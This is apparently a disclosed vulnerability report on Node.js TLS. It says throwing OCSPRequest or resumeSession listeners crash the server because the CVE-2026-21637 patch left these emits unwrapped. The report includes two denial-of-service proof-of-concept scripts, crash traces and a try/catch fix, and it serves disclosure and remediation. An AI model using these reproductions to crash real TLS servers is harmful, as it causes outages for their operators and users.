HexBrain

Node.js · Report #3781015

Incomplete Fix for CVE-2026-21637: OCSPRequest and resumeSession Events Crash Node.js TLS Server via Unhandled Synchronous Exceptions

Informativestatus
highseverity
41upvotes
12 Jun 2026disclosed

How it was found

Summary

The March 2026 security release patched CVE-2026-21637 by wrapping SNICallback, ALPNCallback, and pskCallback invocations in try/catch blocks inside lib/internal/tls/wrap.js. That fix is present in v26.3.0.

However, two other TLS callback paths in the same file were left unprotected:

  1. socket.server.emit('OCSPRequest', ...) in requestOCSP() — line 325
  2. owner.server.emit('resumeSession', ...) in loadSession() — line 196

If a server registers a listener on either of these events and that listener throws a synchronous exception, the exception propagates uncaught out of the native MakeCallback call stack and terminates the entire Node.js process. A remote client can trigger both code paths during the TLS handshake without any authentication, making this a remotely exploitable denial-of-service.

This was confirmed against the v26.3.0 source checked out at commit b7e6a5d3.


Vulnerability Details

1. OCSPRequest — requestOCSP(), line 325

// lib/internal/tls/wrap.js — line 324-328
debug('server oncertcb emit OCSPRequest');
socket.server.emit('OCSPRequest',       // <-- no try/catch
                   ctx.getCertificate(),
                   ctx.getIssuer(),
                   onOCSP);

This emit is reached via two separate paths in loadSNI():

Path A — line 210-211 (no servername or no SNICallback):

if (!servername || !owner._SNICallback)
    return requestOCSP(owner, info);   // called before any try/catch

Path B — line 230 (inside the SNICallback async callback):

try {
    owner._SNICallback(servername, (err, context) => {
        // ...
        requestOCSP(owner, info);      // try/catch has already exited
    });
} catch (err) {
    owner.destroy(err);
}

In Path B, since _SNICallback is asynchronous, the try/catch completes before the callback fires. Any exception thrown inside requestOCSP() from within that callback is uncaught.

2. resumeSession — loadSession(), line 196

// lib/internal/tls/wrap.js — line 193-196
if (hello.sessionId.length <= 0 ||
    hello.tlsTicket ||
    (owner.server &&
    !owner.server.emit('resumeSession', hello.sessionId, onSession))) {  // <-- no try/catch

There is no try/catch anywhere in loadSession(). A synchronous throw from a resumeSession listener crashes the process.

Why the March 2026 Patch Did Not Cover These

The March 2026 release patched SNICallback inside loadSNI() with an explicit try/catch. The same release notes acknowledged this was an incomplete fix for CVE-2026-21637 but only named SNICallback. The OCSPRequest and resumeSession paths were not addressed and remain exposed in v26.3.0 as shipped.


Steps to Reproduce

{F6036111}

Prerequisites

Generate a self-signed cert and key:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
  -days 1 -nodes -subj "/CN=localhost"

PoC 1 — OCSPRequest crash

Save as poc_ocsp.js:

const tls = require('tls');
const fs  = require('fs');

const server = tls.createServer({
  key:  fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });

// Listener throws synchronously
server.on('OCSPRequest', (cert, issuer, cb) => {
  throw new Error('crash: unhandled exception in OCSPRequest listener');
});

server.listen(8443, () => {
  console.log('[*] Server up. Sending OCSP request...');
  tls.connect(8443, 'localhost', {
    rejectUnauthorized: false,
    requestOCSP: true,       // triggers the OCSPRequest event server-side
  }, () => {});
});

Run:

node poc_ocsp.js

PoC 2 — resumeSession crash

Save as poc_resume.js:

const tls = require('tls');
const fs  = require('fs');

const server = tls.createServer({
  key:  fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });

// Listener throws synchronously
server.on('resumeSession', (id, cb) => {
  throw new Error('crash: unhandled exception in resumeSession listener');
});

let savedSession = null;

// First connection: capture a session to resume
const c1 = tls.connect(8443, 'localhost', { rejectUnauthorized: false }, () => {
  savedSession = c1.getSession();
  c1.end();

  // Second connection: present the session, triggering resumeSession
  setTimeout(() => {
    tls.connect(8443, 'localhost', {
      rejectUnauthorized: false,
      session: savedSession,
    }, () => {});
  }, 200);
});

server.listen(8443, () => {
  console.log('[*] Server up. Performing session resumption...');
});

Run:

node poc_resume.js

Output

PoC 1 — OCSPRequest

[*] Server up. Sending OCSP request...

/home/user/poc_ocsp.js:10
  throw new Error('crash: unhandled exception in OCSPRequest listener');
  ^

Error: crash: unhandled exception in OCSPRequest listener
    at Server.<anonymous> (/home/user/poc_ocsp.js:10:9)
    at Server.emit (node:events:509:20)
    at requestOCSP (node:internal/tls/wrap:325:17)
    at TLSWrap.loadSNI [as oncertcb] (node:internal/tls/wrap:211:12)

Node.js v26.3.0

The process exits. The server is dead after a single client connection.

PoC 2 — resumeSession

[*] Server up. Performing session resumption...

/home/user/poc_resume.js:8
  throw new Error('crash: unhandled exception in resumeSession listener');
  ^

Error: crash: unhandled exception in resumeSession listener
    at Server.<anonymous> (/home/user/poc_resume.js:8:9)
    at Server.emit (node:events:509:20)
    at loadSession (node:internal/tls/wrap:196:7)
    at TLSWrap.onclienthello (node:internal/tls/wrap:862:20)

Node.js v26.3.0

Impact

Impact

Any TLS server running Node.js v26.3.0 that registers an OCSPRequest or resumeSession listener is vulnerable. If the listener throws under any condition — including expected error cases like a failed OCSP lookup or a cache miss during session resumption — a remote client can crash the server by sending the appropriate TLS extension. No authentication is required. The crash is deterministic and repeatable.

Real-world listeners commonly throw in these scenarios:

  • OCSPRequest: network call to a CA fails and an exception is thrown instead of calling cb(err)
  • resumeSession: a session store (Redis, Memcached) client is not yet connected and accessing it throws

Suggested Fix

Wrap both vulnerable emits in try/catch blocks, calling socket.destroy(err) or owner.destroy(err) on catch — identical to what was done for SNICallback in the March 2026 patch.

requestOCSP() — line 324-328:

debug('server oncertcb emit OCSPRequest');
try {
  socket.server.emit('OCSPRequest',
                     ctx.getCertificate(),
                     ctx.getIssuer(),
                     onOCSP);
} catch (err) {
  socket.destroy(err);
}

loadSession() — line 193-203:

try {
  if (hello.sessionId.length <= 0 ||
      hello.tlsTicket ||
      (owner.server &&
      !owner.server.emit('resumeSession', hello.sessionId, onSession))) {
    owner._handle.endParser();
  }
} catch (err) {
  owner.destroy(err);
}

References

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original